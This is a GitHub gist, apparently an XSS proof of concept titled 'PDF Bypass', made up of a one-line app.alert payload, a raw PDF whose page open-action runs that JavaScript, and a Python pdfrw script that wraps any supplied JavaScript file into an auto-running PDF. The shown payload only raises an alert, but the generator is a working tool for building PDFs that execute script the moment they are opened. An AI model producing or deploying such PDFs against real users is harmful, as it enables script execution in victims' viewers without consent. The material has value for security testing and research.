Skip to content

Instantly share code, notes, and snippets.

@yassineaboukir
Forked from andripwn/poc.js
Created May 7, 2022 22:42
Show Gist options
  • Save yassineaboukir/b821deb8a19c9a29e36cd175b96540fa to your computer and use it in GitHub Desktop.
Save yassineaboukir/b821deb8a19c9a29e36cd175b96540fa to your computer and use it in GitHub Desktop.
PDF Bypass - Cross-site Scripting (XSS)
app.alert("XSS")
Display the source blob
Display the rendered blob
Raw
%PDF-1.3
%����
1 0 obj
<</Pages 2 0 R /Type /Catalog>>
endobj
2 0 obj
<</Count 1 /Kids [3 0 R] /Type /Pages>>
endobj
3 0 obj
<</AA
<</O
<</JS
(
try {
app.alert\("XSS"\)
} catch \(e\) {
app.alert\(e.message\);
}
)
/S /JavaScript>>>>
/Annots [] /Contents 4 0 R /MediaBox [0 0 612 792] /Parent 2 0 R
/Resources
<</Font <</F1 <</BaseFont /Helvetica /Subtype /Type1 /Type /Font>>>>>>
/Type /Page>>
endobj
4 0 obj
<</Length 21>>
stream
BT
/F1 24 Tf
ET
endstream
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000062 00000 n
0000000117 00000 n
0000000424 00000 n
trailer
<</Root 1 0 R /Size 5>>
startxref
493
%%EOF
# FROM https://github.com/osnr/horrifying-pdf-experiments
import sys
from pdfrw import PdfWriter
from pdfrw.objects.pdfname import PdfName
from pdfrw.objects.pdfstring import PdfString
from pdfrw.objects.pdfdict import PdfDict
from pdfrw.objects.pdfarray import PdfArray
def make_js_action(js):
action = PdfDict()
action.S = PdfName.JavaScript
action.JS = js
return action
def make_field(name, x, y, width, height, r, g, b, value=""):
annot = PdfDict()
annot.Type = PdfName.Annot
annot.Subtype = PdfName.Widget
annot.FT = PdfName.Tx
annot.Ff = 2
annot.Rect = PdfArray([x, y, x + width, y + height])
annot.MaxLen = 160
annot.T = PdfString.encode(name)
annot.V = PdfString.encode(value)
# Default appearance stream: can be arbitrary PDF XObject or
# something. Very general.
annot.AP = PdfDict()
ap = annot.AP.N = PdfDict()
ap.Type = PdfName.XObject
ap.Subtype = PdfName.Form
ap.FormType = 1
ap.BBox = PdfArray([0, 0, width, height])
ap.Matrix = PdfArray([1.0, 0.0, 0.0, 1.0, 0.0, 0.0])
ap.stream = """
%f %f %f rg
0.0 0.0 %f %f re f
""" % (r, g, b, width, height)
# It took me a while to figure this out. See PDF spec:
# https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=641
# Basically, the appearance stream we just specified doesn't
# follow the field rect if it gets changed in JS (at least not in
# Chrome).
# But this simple MK field here, with border/color
# characteristics, _does_ follow those movements and resizes, so
# we can get moving colored rectangles this way.
annot.MK = PdfDict()
annot.MK.BG = PdfArray([r, g, b])
return annot
def make_page(fields, script):
page = PdfDict()
page.Type = PdfName.Page
page.Resources = PdfDict()
page.Resources.Font = PdfDict()
page.Resources.Font.F1 = PdfDict()
page.Resources.Font.F1.Type = PdfName.Font
page.Resources.Font.F1.Subtype = PdfName.Type1
page.Resources.Font.F1.BaseFont = PdfName.Helvetica
page.MediaBox = PdfArray([0, 0, 612, 792])
page.Contents = PdfDict()
page.Contents.stream = """
BT
/F1 24 Tf
ET
"""
annots = fields
page.AA = PdfDict()
# You probably should just wrap each JS action with a try/catch,
# because Chrome does no error reporting or even logging otherwise;
# you just get a silent failure.
page.AA.O = make_js_action("""
try {
%s
} catch (e) {
app.alert(e.message);
}
""" % (script))
page.Annots = PdfArray(annots)
return page
if len(sys.argv) > 1:
js_file = open(sys.argv[1], 'r')
fields = []
for line in js_file:
if not line.startswith('/// '): break
pieces = line.split()
params = [pieces[1]] + [float(token) for token in pieces[2:]]
fields.append(make_field(*params))
js_file.seek(0)
out = PdfWriter()
out.addpage(make_page(fields, js_file.read()))
out.write('result.pdf')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment